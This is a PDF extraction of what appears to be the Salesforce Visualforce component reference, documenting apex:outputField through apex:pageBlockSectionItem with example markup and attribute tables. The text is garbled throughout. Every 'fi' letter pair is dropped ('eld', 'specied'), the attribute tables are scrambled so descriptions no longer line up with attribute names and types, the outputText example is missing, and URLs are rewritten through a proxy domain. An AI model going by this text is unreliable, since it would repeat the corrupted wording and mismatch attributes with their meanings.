A read-only display of a label and value for a eld on a Salesforce object. An <apex:outputField> component respects the attributes of the associated eld, including how it should be displayed to the user. For example, if the specied <apex:outputField> component is a currency eld, the appropriate currency symbol is displayed. Likewise, if the <apex:outputField> component is a lookup eld or URL, the value of the eld is displayed as a link. Note that if custom help is dened for the eld in Setup, the eld must be a child of an <apex:pageBlock> or <apex:pageBlockSectionItem>, and the Salesforce page header must be displayed for the custom help to appear on your Visualforce page. To override the display of custom help, use the <apex:outputField> in the body of an <apex:pageBlockSectionItem>. The Rich Text Area data type can only be used with this component on pages running Salesforce.com API versions greater than 18.0.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid opportunity record in the URL. For example, if 001D000000IRt53 is the opportunity ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <apex:page standardController="Opportunity" tabStyle="Opportunity"> <apex:pageBlock> <apex:pageBlockSection title="Opportunity Information"> <apex:outputField value="{!opportunity.name}"/> <apex:outputField value="{!opportunity.amount}"/> <apex:outputField value="{!opportunity.closeDate}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:page>
282
apex:outputLabel
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). An identier that allows the output eld component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the output eld component, used primarily for adding inline CSS styles. This attribute may not work for all values. If your text requires a class name, use a wrapping span tag. The style class used to display the output eld component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. This attribute may not work for all values. If your text requires a class name, use a wrapping span tag. The text to display as a tooltip when the user's mouse pointer hovers over this component. A merge eld that references the Salesforce eld that is associated with this output eld. For example, if you want to display an output eld for an account's name eld, use value="{!account.name}". You cannot associate this output eld with a currency merge eld if that eld value is calculated using dated exchange rates.
String
id lang
String String
10.0 10.0
global global
rendered
Boolean
10.0
global
style
String
10.0
global
styleClass
String
10.0
global
title value
String Object
10.0 10.0
global global
apex:outputLabel
A label for an input or output eld. Use this component to provide a label for a controller method that does not correspond to a eld on a Salesforce object.
Example
<apex:outputLabel value="Checkbox" for="theCheckbox"/> <apex:inputCheckbox value="{!inputValue}" id="theCheckbox"/>
283
apex:outputLabel
Attributes
Attribute Name Attribute Type
accesskey dir
Description The keyboard access key that puts the label and its associated eld in focus. The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether sensitive HTML and XML characters should be escaped in the HTML output generated by this component. If not specied, this value defaults to true. For example, the only way to add a ">" symbol to a label is by using the symbol's character escape sequence and setting escape="false". If you do not specify escape="false", the character escape sequence displays as written. The ID of the component with which the label should be associated. When the label is in focus, the component specied by this attribute is also in focus. An identier that allows the label component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the label. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the label. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the label twice. The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the label. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key.
String String
escape
Boolean
10.0
global
for
String
10.0
global
id lang
String String
10.0 10.0
global global
onkeyup
String
10.0
global
284
apex:outputLink
Description The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the label. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the label. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the label component, used primarily for adding inline CSS styles. The style class used to display the label component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this label is selected compared to other page components when a user presses the Tab key repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key. The text to display as a tooltip when the user's mouse pointer hovers over this component. The text displayed as the label.
Required? API Access Version 10.0 10.0 10.0 global global global
onmouseover
String
10.0
global
onmouseup rendered
String Boolean
10.0 10.0
global global
style styleClass
String String
10.0 10.0
global global
tabindex
String
10.0
global
title value
String Object
10.0 10.0
global global
apex:outputLink
A link to a URL. This component is rendered in HTML as an anchor tag with an href attribute. Like its HTML equivalent, the body of an <apex:outputLink> is the text or image that displays as the link. To add query string parameters to a link, use nested <apex:param> components. See also: <apex:commandLink>
Example
<apex:outputLink value="https://www.salesforce.com" id="theLink">www.salesforce.com</apex:outputLink>
285
apex:outputLink
Attributes
Attribute Name Attribute Type
accesskey
Description The keyboard access key that puts the link in focus. When the link is in focus, pressing the Enter key is equivalent to clicking the link. The character set used to encode the specied URL. If not specied, this value defaults to ISO-8859-1. The position and shape of the hot spot on the screen used for the output link (for use in client-side image maps). The number and order of comma-separated values depends on the shape being dened. For example, to dene a rectangle, use coords="left-x, top-y, right-x, bottom-y". To dene a circle, use coords="center-x, center-y, radius". To dene a polygon, use coords="x1, y1, x2, y2, ..., xN, yN", where x1 = nN and y1 = yN. Coordinates can be expressed in pixels or percentages, and represent the distance from the top-left corner of the image that is mapped. See also the shape attribute. The direction in which the generated HTML component is read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether this link is displayed in a disabled state. If set to true, the eld appears disabled because an HTML span tag is used in place of the normal anchor tag. If not specied, this value defaults to false. The base language for the resource referenced by this command link, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. An identier that allows the outputLink component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onblur event occurs--that is, if the focus moves off of the output link. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the output link. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the output link twice.
String
charset coords
String String
10.0 10.0
global global
dir
String
10.0
global
disabled
Boolean
10.0
global
hreflang
String
10.0
global
id lang
String String
10.0 10.0
global global
286
apex:outputLink
Description The JavaScript invoked if the onfocus event occurs--that is, if the focus is on the output link. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the output link. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the output link. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. The relationship from the current document to the URL specied by this command link. The value of this attribute is a space-separated list of link types. For more information on this attribute, see the W3C specications. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The reverse link from the URL specied by this command link to the current document. The value of this attribute is a space-separated list of link types. For more information on this attribute, see the W3C specications. The shape of the hot spot in client-side image maps. Valid values are default, circle, rect, and poly. See also the coords attribute. The style used to display the output link component, used primarily for adding inline CSS styles. The style class used to display the output link component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The order in which this link is selected compared to other page components when a user presses the Tab key
Required? API Access Version 10.0 10.0 10.0 global global global
onmouseover
String
10.0
global
onmouseup rel
String String
10.0 10.0
global global
rendered
Boolean
10.0
global
rev
String
10.0
global
shape
String
10.0
global
style styleClass
String String
10.0 10.0
global global
tabindex
String
10.0
global
287
apex:outputPanel
Description repeatedly. This value must be an integer between 0 and 32767, with component 0 being the rst component that is selected when a user presses the Tab key.
target
String
The name of the frame where the resource retrieved by this command link is displayed. Possible values for this attribute include "_blank", "_parent", "_self ", and "_top". You can also specify your own target names by assigning a value to the name attribute of a desired destination. The text to display as a tooltip when the user's mouse pointer hovers over this component. The MIME content type of the resource designated by this output link. Possible values for this attribute include "text/html", "image/png", "image/gif ", "video/mpeg", "text/css", and "audio/basic". For more information, including a complete list of possible values, see the W3C specications. The URL used for the output link.
10.0
global
title type
String String
10.0 10.0
global global
value
Object
10.0
global
apex:outputPanel
A set of content that is grouped together, rendered with an HTML <span> tag, <div> tag, or neither. Use an <apex:outputPanel> to group components together for AJAX refreshes.
Span Example
<!-- Spans do not add any additional formatting to the body of the outputPanel. <apex:outputPanel id="thePanel">My span</apex:outputPanel> -->
Div Example
<!-- Divs place the body of the outputPanel within the equivalent of an HTML paragraph tag. --> <apex:outputPanel id="thePanel" layout="block">My div</apex:outputPanel>
288
apex:outputPanel
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). An identier that allows the outputPanel component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The layout style for the panel. Possible values include "block" (which generates an HTML div tag), "inline" (which generates an HTML span tag), and "none" (which does not generate an HTML tag). If not specied, this value defaults to "none". However, if layout is set to "none", for each child element with the rendered attribute set to "false", the outputPanel generates a span tag, with the ID of each child, and a style attribute set to "display:none". Thus, while the content is not visible, JavaScript can still access the elements through the DOM ID. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the output panel. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the output panel twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the output panel. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the output panel.
String
id lang
String String
10.0 10.0
global global
layout
String
10.0
global
onmouseover
String
10.0
global
289
apex:outputText
Description The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the outputPanel component, used primarily for adding inline CSS styles. The style class used to display the outputPanel component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet.. The text to display as a tooltip when the user's mouse pointer hovers over this component.
String Boolean
style styleClass
String String
10.0 10.0
global global
title
String
10.0
global
apex:outputText
Displays text on a Visualforce page. You can customize the appearance of <apex:outputText> using CSS styles, in which case the generated text is wrapped in an HTML <span> tag. You can also escape the rendered text if it contains sensitive HTML and XML characters. Use with nested param tags to format the text values, where {n} corresponds to the n-th nested param tag. The value attribute supports the same syntax as the MessageFormat class in Java. See the MessageFormat class JavaDocs for more information. Warning:Encrypted custom elds that are embedded in the <apex:outputText> component display in clear text. The <apex:outputText> component doesn't respect the View Encrypted Data permission for users. To prevent showing sensitive information to unauthorized users, use the <apex:outputField> tag instead.
290
apex:outputText
</apex:outputText> </apex:page>
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component is read. Possible values include "RTL" (right to left) or "LTR" (left to right). A Boolean value that species whether sensitive HTML and XML characters should be escaped in the HTML output generated by this component. If you do not specify escape="false", the character escape sequence displays as written. Be aware that setting this value to "false" may be a security risk because it allows arbitrary content, including JavaScript, that could be used in a malicious manner. An identier that allows the outputText component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true.
String
escape
Boolean
10.0
global
id lang
String String
10.0 10.0
global global
rendered
Boolean
10.0
global
291
apex:page
Description The style used to display the outputText component, used primarily for adding inline CSS styles. The style class used to display the outputText component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The text to display as a tooltip when the user's mouse pointer hovers over this component. The text displayed when this component is rendered. This value supports the same syntax as the MessageFormat class in Java. For more information on the MessageFormat class, see http://java.sun.com/j2se/1.4.2/docs/api/java/text/MessageFormat.html.
String String
title value
String Object
10.0 10.0
global global
apex:page
A single Visualforce page. All pages must be wrapped inside a single page component tag.
Example
<!-- Page: --> <apex:page renderAs="pdf"> <style> body { font-family: Arial Unicode MS; } </style> <h1>Congratulations</h1> <p>This is your new PDF</p> </apex:page>
Attributes
Attribute Name Attribute Type
action
Description
ApexPages.Action The action method invoked when this page is requested by the server. Use expression language to reference an action method. For example, action="{!doAction}" references the doAction() method in the controller. If an action is not specied, the page loads as usual. If the action method returns null, the page simply refreshes. This method will be called before the page is rendered and allows you to optionally redirect the user to another page. This action should not be used for initialization. double Boolean The version of the Force.com Web Services API used to render and execute the page. A Boolean value that species whether the browser should cache this page. If set to true, the browser caches the page. If not specied, this value defaults to false. For Force.com
apiVersion cache
10.0 10.0
global global
292
apex:page
Description Sites pages, if this attribute is not specied, this value defaults to true. For details on caching site pages, see "Caching Force.com Sites Pages" in the Salesforce online help.
contentType controller
String String The name of the custom controller class written in Apex used to control the behavior of this page. This attribute cannot be specied if the standardController attribute is also present. The expiration period for the cache attribute in seconds. If the cache attribute is set to tre, but this attribute is not specied, this value defaults to zero. For Force.com Sites pages, if cache is not set to false, this value defaults to 600 seconds. For details on caching site pages, see "Caching Force.com Sites Pages" in the Salesforce online help. The name of one or more custom controller extensions written in Apex that add additional logic to this page. An identier for the page that allows it to be referenced by other components in the page. The label that is used to reference the page in Salesforce setup tools. The language used to display labels that have associated translations in Salesforce. This value overrides the language of the user viewing the page. Possible values for this attribute include any language keys for languages supported by Salesforce, for example, "en" or "en-US". The unique name that is used to reference the page in the Force.com Web Services API. The pageStyle attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. The recordSetName attribute was deprecated in Salesforce API version 16.0 and has no effect on the page. Use recordSetVar instead. This attribute indicates that the page uses a set oriented standard controller. The value of the attribute indicates the name of the set of records passed to the page. This record set can be used in expressions to return values for display on the page or to perform actions on the set of records. For example, if your page is using the standard accounts controller, and recordSetVar is set to "accounts", you could create a simple pageBlockTable of account records by doing the following: <apex:pageBlockTable
10.0 10.0
global global
expires
Integer
14.0
name pageStyle
String String
global global
recordSetName String
recordSetVar
String
14.0
293
apex:page
renderAs
String
The name of any supported content converter. Currently pdf is the only supported content converter. Setting this attribute to pdf renders the page as a pdf. Rendering a Visualforce page as a PDF is intended for pages that are designed and optimized for print. Standard components which are not easily formatted for print or contain form elements like inputs, buttons, any component that requires JavaScript to be formatted, should not be used. This includes but is not limited to, any component that requires a form element. Verify the format of your rendered page before deploying it. If the PDF fails to display all the characters, adjust the fonts in your CSS to use a font that supports your needs. For example, <apex:page renderas="pdf "> <style> body { font-family: Arial Unicode MS; } </style> Note that the pageBlock and sectionHeader components do not suppor double-byte fonts when rendered as a PDF. A Boolean value that species whether the page is rendered. If not specied, this value defaults to true. A Boolean value that species whether the page should use the style of a standard Salesforce setup page. If true, setup styling is used. If not specied, this value defaults to false. A Boolean value that species whether the Salesforce tab header is included in the page. If true, the tab header is displayed. If not specied, this value defaults to true. A Boolean value that species whether the standard Salesforce sidebar is included in the page. If true, the sidebar is displayed. If not specied, this value defaults to true. The name of the Salesforce object that is used to control the behavior of this page. This attribute cannot be specied if the controller attribute is also present. A Boolean value that species whether the standard Salesforce stylesheets are added to the generated page header if the showHeader attribute is set to false. If set to true, the standard stylesheets are added to the generated page header. If not specied, this value defaults to false. By setting this to false, components that require Salesforce.com CSS may not display correctly, and their styling may change between releases. The Salesforce object or custom Visualforce tab that controls the color, styling, and selected tab for this page. If using a custom object, the attribute must be specied
13.0
global
rendered setup
Boolean Boolean
10.0 10.0
global global
showHeader
Boolean
10.0
global
sidebar
Boolean
10.0
global
standardController String
10.0
global
standardStylesheets Boolean
11.0
global
tabStyle
String
10.0
global
294
apex:pageBlock
Description with the developer name for the object. For example, to use the styling associated with MyCustomObject, use tabStyle="MyCustomObject__c". If a standard controller is specied, this defaults to the style of the associated controller; if a custom controller is dened, this defaults to the Home tab (if a custom controller). To use a custom Visualforce tab, set the attribute to the name (not label) of the tab followed by a double-underscore and the word tab. For example, to use the styling of a Visualforce tab with the name Source and a label Sources, use tabStyle="Source__tab".
title
String
The title of the page as displayed in the browser. Note, when you are editing a page in developer mode, the page title will not be displayed. A Boolean value that species whether the page should use the style of a standard Salesforce wizard page. If true, wizard styling is used. If not specied, this value defaults to false.
10.0
global
wizard
Boolean
10.0
global
apex:pageBlock
An area of a page that uses styling similar to the appearance of a Salesforce detail page, but without any default content.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <!-- Page: --> <apex:page standardController="Account"> <apex:form> <apex:pageBlock title="My Content" mode="edit"> <apex:pageBlockButtons> <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="My Content Section" columns="2"> <apex:inputField value="{!account.name}"/> <apex:inputField value="{!account.site}"/> <apex:inputField value="{!account.type}"/> <apex:inputField value="{!account.accountNumber}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
295
apex:pageBlock
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). The text that displays when a user hovers the mouse over the help link for the page block. If specied, you must also provide a value for helpURL. Note that if a value for a header facet is included in the pageBlock, this attribute is ignored. The URL of a webpage that provides help for the page block. When this value is specied, a help link appears in the upper right corner of the page block. If specied, you must also provide a value for helpTitle. Note that if a value for a header facet is included in the pageBlock, this attribute is ignored. An identier that allows the pageBlock component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The default user mode for the pageBlock component's child elements. This value determines whether lines are drawn separating eld values. Possible values are: "detail", in which data is displayed to the user with colored lines; "maindetail", in which data is displayed to the user with colored lines and a white background, just like the main detail page for records; and "edit", in which data is displayed to the user without eld lines. If not specied, this value defaults to "detail". These lines have nothing to do with requiredness, they are merely visual separators, that make it easier to scan a detail page. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the page block. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the page block twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button.
String
helpTitle
String
12.0
global
helpUrl
String
12.0
global
id lang
String String
10.0 10.0
global global
mode
String
10.0
global
onkeyup onmousedown
String String
10.0 10.0
global global
296
apex:pageBlock
Description The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the page block. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the page block. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The Salesforce object or custom Visualforce tab that controls the color scheme of the page block. If not specied, this value defaults to the style of the page. If using a Salesforce object, the attribute must be specied with the developer name for the object. For example, to use the styling associated with MyCustomObject, use tabStyle="MyCustomObject__c". To use a custom Visualforce tab, set the attribute to the name (not label) of the tab followed by a double-underscore and the word tab. For example, to use the styling of a Visualforce tab with the name Source, use tabStyle="Source__tab". The text displayed as the title of the page block. Note that if a header facet is included in the body of the pageBlock component, its value overrides this attribute.
String String
onmouseover
String
10.0
global
onmouseup rendered
String Boolean
10.0 10.0
global global
tabStyle
String
10.0
global
title
String
10.0
global
Facets
Facet Name
footer
Description
API Version
The components that appear at the bottom of the page block. If specied, the 10.0 content of this facet overrides any pageBlockButton components in the pageBlock. Note that the order in which a footer facet appears in the body of a pageBlock component does not matter, because any facet with name="footer" will control the appearance of the bottom block. The components that appear in the title bar of the page block. If specied, the 10.0 content of this facet overrides the pageBlock title tab, any pageBlockButton components, and the value of the helpTitle and helpURL attributes in the pageBlock. Note that the order in which a header facet appears in the body of a pageBlock component does not matter, because any facet with name="header" will control the appearance of the title.
header
297
apex:pageBlockButtons
apex:pageBlockButtons
A set of buttons that are styled like standard Salesforce buttons. This component must be a child component of an <apex:pageBlock>. Note that it is not necessary for the buttons themselves to be direct children of the <apex:pageBlockButtons> componentbuttons that are located at any level within an <apex:pageBlockButtons> component are styled appropriately.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <!-- Page: --> <apex:page standardController="Account"> <apex:form> <apex:pageBlock title="My Content" mode="edit"> <apex:pageBlockButtons> <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="My Content Section" columns="2"> <apex:inputField value="{!account.name}"/> <apex:inputField value="{!account.site}"/> <apex:inputField value="{!account.type}"/> <apex:inputField value="{!account.accountNumber}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
Attributes
Attribute Name Attribute Type
dir
Description The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). An identier that allows the pageBlockButtons component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The area of the page block where the buttons should be rendered. Possible values include "top", "bottom", or "both". If not specied, this value defaults to "both". Note that if a pageBlock header facet is dened, the facet overrides the buttons that would normally appear at the top of the page block. Likewise if a pageBlock footer facet
String
id
String
11.0
global
lang
String
11.0
global
location
String
11.0
global
298
apex:pageBlockButtons
Description is dened, the facet overrides the buttons that would normally appear at the bottom of the page block.
onclick
String
The JavaScript invoked if the onclick event occurs--that is, if the user clicks anywhere in the pageBlockButtons component The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the pageBlockButtons component twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the pageBlockButtons component. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the pageBlockButtons component. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button. A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. The style used to display the pageBlockButtons component, used primarily for adding inline CSS styles. The style class used to display the pageBlockButtons component, used primarily to designate which CSS styles are applied when using an external CSS stylesheet. The text to display as a tooltip when the user's mouse pointer hovers over this component.
11.0
global
ondblclick
String
11.0
global
onkeydown onkeypress
String String
11.0 11.0
global global
onmouseover
String
11.0
global
onmouseup rendered
String Boolean
11.0 11.0
global global
style styleClass
String String
11.0 11.0
global global
title
String
11.0
global
299
apex:pageBlockSection
apex:pageBlockSection
A section of data within an <apex:pageBlock> component, similar to a section in a standard Salesforce page layout denition. An <apex:pageBlockSection> component consists of one or more columns, each of which spans two cells: one for a eld's label, and one for its value. Each component found in the body of an <apex:pageBlockSection> is placed into the next cell in a row until the number of columns is reached. At that point, the next component wraps to the next row and is placed in the rst cell. To add a eld from a Salesforce object to an <apex:pageBlockSection>, use an <apex:inputField> or <apex:outputField> component. Each of these components automatically displays with the eld's associated label. To add elds for variables or methods that are not based on Salesforce object elds, or to customize the format of Salesforce object eld labels, use an <apex:pageBlockSectionItem> component. Each <apex:inputField>, <apex:outputField>, or <apex:pageBlockSectionItem> component spans both cells of a single column.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <!-- Page: --> <apex:page standardController="Account"> <apex:form> <apex:pageBlock title="My Content" mode="edit"> <apex:pageBlockButtons> <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="My Content Section" columns="2"> <apex:inputField value="{!account.name}"/> <apex:inputField value="{!account.site}"/> <apex:inputField value="{!account.type}"/> <apex:inputField value="{!account.accountNumber}"/> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
Attributes
Attribute Name Attribute Type
collapsible
Description A Boolean value that species whether the page block section can be expanded and collapsed by a user. If true, a user can expand and collapse the section. If not specied, this value defaults to true. The number of columns that can be included in a single row of the page block section. Note that a single column spans two cells - one for a eld's label, and one for its value. If you use child inputField, outputField, or pageBlockSectionItem components in the pageBlockSection, each of the child components is
Boolean
columns
Integer
11.0
global
300
apex:pageBlockSection
Description displayed in one column, spanning both cells. If you use any other components in the pageBlockSection, each of the child components is displayed in one column, displaying only in the rightmost cell of the column and leaving the leftmost column cell blank. While you can specify one or more columns for a pageBlockSection, Salesforce stylesheets are optimized for either one or two columns. If not specied, this value defaults to 2.
dir
String
The direction in which the generated HTML component should be read. Possible values include "RTL" (right to left) or "LTR" (left to right). An identier that allows the pageBlockSection component to be referenced by other components in the page. The base language for the generated HTML output, for example, "en" or "en-US". For more information on this attribute, see the W3C specications. The JavaScript invoked if the onclick event occurs--that is, if the user clicks the page block section. The JavaScript invoked if the ondblclick event occurs--that is, if the user clicks the page block section twice. The JavaScript invoked if the onkeydown event occurs--that is, if the user presses a keyboard key. The JavaScript invoked if the onkeypress event occurs--that is, if the user presses or holds down a keyboard key. The JavaScript invoked if the onkeyup event occurs--that is, if the user releases a keyboard key. The JavaScript invoked if the onmousedown event occurs--that is, if the user clicks a mouse button. The JavaScript invoked if the onmousemove event occurs--that is, if the user moves the mouse pointer. The JavaScript invoked if the onmouseout event occurs--that is, if the user moves the mouse pointer away from the page block section. The JavaScript invoked if the onmouseover event occurs--that is, if the user moves the mouse pointer over the page block section. The JavaScript invoked if the onmouseup event occurs--that is, if the user releases the mouse button.
10.0
global
id
String
10.0
global
lang
String
10.0
global
onclick ondblclick
String String
10.0 10.0
global global
onkeydown onkeypress
String String
10.0 10.0
global global
onmouseover
String
10.0
global
onmouseup
String
10.0
global
301
apex:pageBlockSectionItem
Description A Boolean value that species whether the component is rendered on the page. If not specied, this value defaults to true. A Boolean value that species whether the page block section title is displayed. If set to true, the header is displayed. If not specied, this value defaults to true. The text displayed as the title of the page block section.
Boolean
showHeader
Boolean
11.0
global
title
String
10.0
global
Facets
Facet Name
body
Description
API Version
The components that appear in the body of the page block section. If specied, 11.0 the content of this facet overrides the body of the pageBlockSection tag. Note that the order in which a body facet appears in the body of a page block section component does not matter, because any facet with name="body" will control the appearance of the section body. The components that appear in the title for the page block section. If specied, 10.0 the content of this facet overrides the value of the title attribute. Note that the order in which a header facet appears in the body of a page block section component does not matter, because any facet with name="header" will control the appearance of the section title.
header
apex:pageBlockSectionItem
A single piece of data in an <apex:pageBlockSection> that takes up one column in one row. An <apex:pageBlockSectionItem> component can include up to two child components. If no content is specied, the column is rendered as an empty space. If one child component is specied, the content spans both cells of the column. If two child components are specied, the content of the rst is rendered in the left, "label" cell of the column, while the content of the second is rendered in the right, "data" cell of the column. Note that if you include an <apex:outputField> or an <apex:inputField> component in an <apex:pageBlockSectionItem>, these components do not display with their label or custom help text as they do when they are children of an <apex:pageBlockSectionItem>. Also note that <apex:pageBlockSectionItem> components cannot be rerendered; rerender the child components instead.
Example
<!-- For this example to render properly, you must associate the Visualforce page with a valid account record in the URL. For example, if 001D000000IRt53 is the account ID, the resulting URL should be: https://Salesforce_instance/apex/myPage?id=001D000000IRt53 See the Visualforce Developer's Guide Quick Start Tutorial for more information. --> <!-- Page: -->
302
apex:pageBlockSectionItem
<apex:page standardController="Account"> <apex:form> <apex:pageBlock title="My Content" mode="edit"> <apex:pageBlockButtons> <apex:commandButton action="{!save}" value="Save"/> </apex:pageBlockButtons> <apex:pageBlockSection title="My Content Section" columns="2"> <apex:pageBlockSectionItem> <apex:outputLabel value="Account Name" for="account__name"/> <apex:inputText value="{!account.name}" id="account__name"/> </apex:pageBlockSectionItem> <apex:pageBlockSectionItem> <apex:outputLabel value="Account Site" for="account__site"/> <apex:inputText value="{!account.site}" id="account__site"/> </apex:pageBlockSectionItem> <apex:pageBlockSectionItem> <apex:outputLabel value="Account Type" for="account__type"/> <apex:inputText value="{!account.type}" id="account__type"/> </apex:pageBlockSectionItem> <apex:pageBlockSectionItem> <apex:outputLabel value="Account Number" for="account__number"/> <apex:inputText value="{!account.accountNumber}" id="account__number"/> </apex:pageBlockSectionItem> </apex:pageBlockSection> </apex:pageBlock> </apex:form> </apex:page>
Attributes
Attribute Name Attribute Type
dataStyle
